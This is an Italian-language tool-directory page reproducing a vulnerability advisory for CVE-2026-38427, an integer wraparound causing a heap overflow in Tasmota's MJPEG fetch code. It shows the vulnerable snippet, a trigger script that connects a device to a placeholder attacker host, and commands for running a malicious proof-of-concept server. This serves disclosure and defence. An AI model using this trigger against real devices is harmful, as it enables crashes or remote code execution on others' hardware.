Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-38427 — CVE-2026-38427 — Wraparound di interi → Overflow del buffer heap in Tasmota fetch_jpg() uint16_t (Tasmota <= 15.3.0.3) | Kitploit
Strumenti/GitHubGitHub/sermikr0/cve-2026-38427
Sicurezza Sistemi EmbeddedSicurezza IoTAnalisi delle VulnerabilitàExploitPenetration TestingSicurezza Hardware e IoTBinary Exploitation
GitHubsermikr0/cve-2026-38427

CVE-2026-38427

CVE-2026-38427 — Wraparound di interi → Overflow del buffer heap in Tasmota fetch_jpg() uint16_t (Tasmota <= 15.3.0.3)

Vedi Repository
2 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-38427: Integer Wraparound → Heap Buffer Overflow in Tasmota fetch_jpg()

CVE: CVE-2026-38427
Severity: Critical (CVSS 9.8)
Product: Arendst Tasmota
Affected Version: <= 15.3.0.3
File: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Function: fetch_jpg() — case 2 (MJPEG frame fetch)
Author: Saidakbarxon Maxsudxonov
Disclosure: Responsible — reported to Tasmota before publication


Riassunto

Esiste una vulnerabilità di integer wraparound su uint16_t nella funzione fetch_jpg() del driver scripter di Tasmota. Quando un dispositivo Tasmota recupera frame MJPEG da un server controllato dall'attaccante, il valore dell'header Content-Length viene letto in una variabile uint16_t tramite atoi(). I valori superiori a 65535 vengono avvolti silenziosamente (ad esempio, 65537 → 1), causando l'allocazione di un buffer heap drasticamente sottodimensionato. Il dispositivo legge quindi solo il numero di byte avvolto dallo stream, lasciando il resto nel buffer dello stream, causando corruzione dello stato heap/stream che porta a un crash (DoS) o a potenziale esecuzione di codice remoto.


Codice Vulnerabile

root@kitploit:~
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino

// Case 2: fetch next MJPEG frame
char inbuff[64];
stream.readBytesUntil('\n', inbuff, sizeof(inbuff));  // reads "Content-Length: 70000"
char *cp = strchr(inbuff, ':');
uint16_t size = 0;
if (cp) {
    size = atoi(cp + 1);   // atoi() returns int 70000
                            // IMPLICIT TRUNCATION: uint16_t = 70000 & 0xFFFF = 4464
}
uint8_t *buff = (uint8_t *)special_malloc(size);   // malloc(4464) — too small!
if (buff) {
    stream.readBytes(buff, size);                  // reads only 4464 bytes
                                                   // 65536 bytes remain in stream → corruption
}

Tabella dell'Integer Wraparound


Scenario di Attacco

Un attaccante che riesce a far connettere un dispositivo Tasmota al proprio server HTTP (tramite uno script Tasmota dannoso o MITM) può inviare frame MJPEG con valori Content-Length superiori a 65535. Il dispositivo:

  1. Alloca un buffer piccolo (valore avvolto)
  2. Legge solo una frazione dei dati
  3. Lascia i byte rimanenti che corrompono lo stato dello stream HTTP/WiFi
  4. Va in crash o mostra un comportamento indefinito che porta a potenziale RCE

Trigger tramite script Tasmota:

root@kitploit:~
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
>1
=fetchjp(2,0,0,1)

Proof of Concept

Il PoC esegue un finto server HTTP MJPEG che invia frame con valori Content-Length dannosi:

root@kitploit:~
python3 CVE-2026-38427_poc.py --port 8889 --cl 65537
python3 CVE-2026-38427_poc.py --port 8889 --cl 131072

Vedere CVE-2026-38427_poc.py per l'implementazione completa.


Impatto

  • Riservatezza: Alta (RCE possibile su ESP32)
  • Integrità: Alta
  • Disponibilità: Alta (crash/riavvio garantito)
  • Vettore di attacco: Rete
  • Autenticazione: Nessuna richiesta (il dispositivo deve essere scriptato per connettersi al server dell'attaccante)

Cronologia

  • 2026-03-29: Vulnerabilità scoperta e segnalata a MITRE
  • 2026-03-29: CVE-2026-38427 assegnato
  • 2026-05-xx: Patch rilasciata da Tasmota (v15.3.0.4+)

Riferimenti

  • Tasmota GitHub
  • xdrv_10_scripter.ino
  • CVE-2026-38427
Scarica lo strumento
Content-Length (header)uint16_t valueBuffer allocatedBytes unread
6553600 (skipped)65536
6553711 byte65536
7000044644464 bytes65536
13107200 (skipped)131072